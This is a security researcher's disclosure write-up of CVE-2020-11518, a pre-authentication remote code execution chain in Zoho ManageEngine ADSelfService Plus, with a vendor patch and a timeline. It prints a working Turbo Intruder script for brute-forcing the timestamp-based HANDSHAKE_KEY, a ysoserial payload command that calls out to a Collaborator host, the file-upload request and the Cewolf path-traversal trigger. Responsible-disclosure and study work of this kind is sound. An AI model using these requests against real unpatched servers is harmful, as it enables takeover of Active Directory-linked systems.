CVE-2020-11518 Critical 10 August 2020

How I Bruteforced My Way Into Your Active Directory

Product
Zoho ManageEngine ADSelfService Plus < 5815
CVSS
9.8 Critical
Type
Pre-Auth Remote Code Execution
Patch available
Yes, upgrade to version 5815 or later

A critical vulnerability we found and reported in 2020 resulted in our first CVE assignment. Since the combination of vulnerabilities that led to this unauthenticated remote code execution (RCE) was pretty interesting to discover, we want to share the story about how brute force enabled us to hack into two organizations' Active Directory-linked systems.

The Target

While performing some routine visual reconnaissance, we noticed a similar-looking login page on two different subdomains from unrelated bug bounty programs.

Both subdomains contained customized versions of the same default login screen
Both subdomains contained customized versions of the same default login screen.

The software behind this login screen is Zoho ManageEngine ADSelfService Plus, which offers a portal that allows users to reset the password of their own Active Directory (AD) accounts. Since any bugs found on this product could potentially impact multiple companies, and more so because it is directly linked to the organization's Active Directory, it seemed like a good idea to spend some time here.

Initial efforts led to discovering a few basic reflected Cross-Site Scripting (XSS) vulnerabilities, which had apparently been identified by other researchers already. So we had to dig a little deeper. Luckily, it turned out the whole product can be downloaded and installed as a trial for 30 days.

The Setup

Since we were convinced there would probably be more vulnerabilities to find, we downloaded and installed the software with the idea of browsing through the Java source code looking for more bugs.

Having installed the software locally gave us the advantage of being able to run all tests in a controlled environment, as well as read through the source code to understand exactly what happens in the application, and use grep in the installation folder to find potentially interesting files.

We started off manually browsing through some of the Java source files without many interesting discoveries. However, we did build an understanding of the software components and how they work together — this tends to be invaluable when looking for complex bugs in applications. As a result, we had a pretty good picture of the application features, the parts that consisted mostly of legacy code versus the parts that looked more recent, the parts that had been modified to fix previous security vulnerabilities, and so on.

At one point, we built a wordlist of application endpoints, which could serve two purposes: to perform some classic security tests directly against the endpoint, and to serve as a useful resource when targeting similar applications in the future.

The Bugs

1. Insecure deserialization in Java

During enumeration of the application's endpoints, we spotted the following lines in one of the web.xml files:

<servlet-mapping>
  <servlet-name>CewolfServlet</servlet-name>
  <url-pattern>/cewolf/*</url-pattern>
</servlet-mapping>

A quick search turned up a published RCE against a Cewolf endpoint on another ManageEngine product, exploiting a path traversal in the img parameter. After manually placing a file in a folder on the local installation, we could confirm that the deserialization vulnerability also existed in this version of ADSelfService Plus:

http://localhost:8888/cewolf/?img=/../../../path/to/evil.file

We had a ready-to-use Java deserialization vulnerability on the targeted sites, but could only exploit it if we found a way to upload arbitrary files to the server first. So the work wasn't quite done yet.

2. Arbitrary file upload

Finding an arbitrary file upload vulnerability did not look like an easy challenge. To maximize the attack surface, we continued to configure the software, which required setting up a local Domain Controller and an Active Directory domain. Fast forward through hours of downloading ISOs, VMware Workstation shenanigans, Windows Server administration, and figuring out how to set up a Domain Controller, and we finally had a setup that allowed logging in to the admin panel.

ManageEngine ADSelfService Plus admin panel

With full admin access, we could further map out application features and API endpoints. After investigating the various upload features in the application, we came across one that supported uploading a smartcard certificate configuration, resulting in a POST request to:

POST /LogonCustomization.do?form=smartCard&operation=Add

When we noticed that the uploaded certificate file was stored on the server's filesystem without modifying the filename, this looked like the way forward to leverage the deserialization bug. Tracing the API call through the source code revealed the following flow:

Smartcard configuration API flow
  1. A logged-in administrator uploads a smartcard configuration to /LogonCustomization.do?form=smartCard&operation=Add.
  2. This triggers a backend request to the server's authenticated RestAPI at /RestAPI/WC/SmartCard?HANDSHAKE_KEY=secret using a server-side generated secret.
  3. Before executing the action, the HANDSHAKE_KEY is validated against /servlet/HSKeyAuthenticator?PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=secret, which returns SUCCESS or FAILED.
  4. If successful, the uploaded certificate is written to C:\ManageEngine\ADSelfService Plus\bin.

Interestingly, the /RestAPI endpoint was publicly accessible, so any request with a valid HANDSHAKE_KEY would bypass user authentication entirely. Furthermore, /servlet/HSKeyAuthenticator was also publicly accessible, allowing an unauthorized user to verify if a secret was valid.

3. Bruteforceable authentication key

With some help from grep and the local PostgreSQL database, we identified two interesting Java classes.

ADSelfService Plus PostgreSQL database
Another benefit to local installations of software is full access to the underlying database.

A snippet from HSKeyAuthenticator.class:

public void doPost(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException {
  try {
    String message = "FAILED";
    RestAPIKey.getInstance();
    String apiKey = RestAPIKey.getKey();
    String handShakeKey = request.getParameter("HANDSHAKE_KEY");
    if (handShakeKey.equals(apiKey)) {
      message = "SUCCESS";
    }
    PrintWriter out = response.getWriter();
    response.setContentType("text/html");
    out.println(message);
    out.close();
  } catch (Exception var7) {
    HSKeyAuthenticator.out.log(Level.INFO, " ", var7);
  }
}

And from RestAPIKey.class:

public static void generateKey() {
  Long cT = Long.valueOf(System.currentTimeMillis());
  key = cT.toString();
  generatedTime = cT;
}

public static String getKey() {
  Long cT = Long.valueOf(System.currentTimeMillis());
  if ((key == null) || (generatedTime.longValue() + 120000L < cT.longValue())) {
    generateKey();
  }
  return key;
}

The API authentication key is set to the current time in milliseconds and has a lifespan of 2 minutes. This means that at any given moment, there are 120,000 possible authentication keys (120 seconds × 1000 milliseconds/second).

In other words, generating at least 1000 requests per second consistently over 2 minutes would guarantee a hit at the moment the key expired and regenerated. Even at a lower throughput, given sufficient time, a successful hit becomes more and more likely.

In practice, we quickly had a working proof-of-concept that would brute force the local instance's secret in a matter of minutes. However, when running the script against a live target over an actual internet connection, the results were initially discouraging. The script ran for hours and overnight without result.

Turbo Intruder brute forcing the local instance
Brute forcing the secret on the local instance worked a charm.

There was also a brief detour caused by uncertainty about the target servers' time zone. It turned out that Java's currentTimeMillis() returns time in UTC regardless of the server's local time zone setting.

Eventually, we landed on the following Turbo Intruder script, which, based on the actual requests per second (rps), tries to authenticate using every rps/2 milliseconds before and after the current timestamp:

import time

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                       concurrentConnections=20,
                       requestsPerConnection=200,
                       pipeline=True,
                       timeout=2,
                       engine=Engine.THREADED
                       )
    engine.start()
    rps = 400 # about the number of requests per second achievable from an attacking server

    while True:
        now = int(round(time.time()*1000))
        for i in range(now+(rps/2), now-(rps/2), -1):
            engine.queue(target.req, str(i))

def handleResponse(req, interesting):
    if 'SUCCESS' in req.response:
        table.add(req)

And the base request in base.txt:

POST /servlet/HSKeyAuthenticator?PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=%s HTTP/1.1
Host: target.example.com
Content-Length: 0
Connection: keep-alive

As expected and despite initial doubts, the authentication key could be brute forced even at a much lower throughput than the ideal 1000 rps — in testing against a live target, an average of only 56 rps was enough.

Successful brute force of the HANDSHAKE_KEY with Turbo Intruder
Brute forcing a secret timestamp with Turbo Intruder.

The Exploit

With all the ingredients in place, the final exploit was straightforward. We generated Java payloads with ysoserial and found that the following gadget chain worked:

java -jar ysoserial-master-SNAPSHOT.jar MozillaRhino1 "ping ping-rce-MozillaRhino1.<your-burp-collaborator>"

After brute forcing the authentication key, we used it to upload the ysoserial payload to the server via the RestAPI:

POST /RestAPI/WC/SmartCard?mTCall=addSmartCardConfig&PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=1585552472158 HTTP/1.1
Host: target.example.com
Content-Length: 2464
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Connection: close

------WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="pieter.evil"
Content-Type: text/xml

<binary-ysoserial-payload-here>
------WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Content-Disposition: form-data; name="CERTIFICATE_NAME"

blah
------WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Content-Disposition: form-data; name="SMARTCARD_CONFIG"

{"SMARTCARD_PRODUCT_LIST":"4"}
------WebKitFormBoundaryxkQ2P09dvbuV1Pi4--

A simple GET request to /cewolf/?img=/../../../bin/pieter.evil then triggered the deserialization, confirmed by a DNS callback from the target server.

DNS callback confirming successful Java deserialization RCE
A DNS lookup request as a result of a successful Java deserialization attack.

The Outcome

Armed with a chain of vulnerabilities that led to RCE on an AD-connected server, we argued that an attacker could abuse the link with the Domain Controller to hijack domain accounts or create new accounts on the AD domain, leading to much wider access into the companies' internal networks — for example by accessing internal services via their public VPN portals.

We submitted the vulnerability reports for both companies. One was rewarded as Critical; the other was categorized as High due to it being a vendor security issue without an available patch at the time of submission.

Timeline

2020-03-26Started testing on a local installation
2020-03-30Reported the RCE chain to company one
2020-03-31Reported the RCE chain to company two
2020-04-02Submitted the vulnerability to Zoho's bug bounty program
2020-04-03Zoho published a security update and pushed a patch in release 5815
2020-04-03Company two awarded a Critical bounty and patched their installation
2020-04-12Company one awarded a High bounty and removed public access to their installation
2020-08-10Public disclosure

References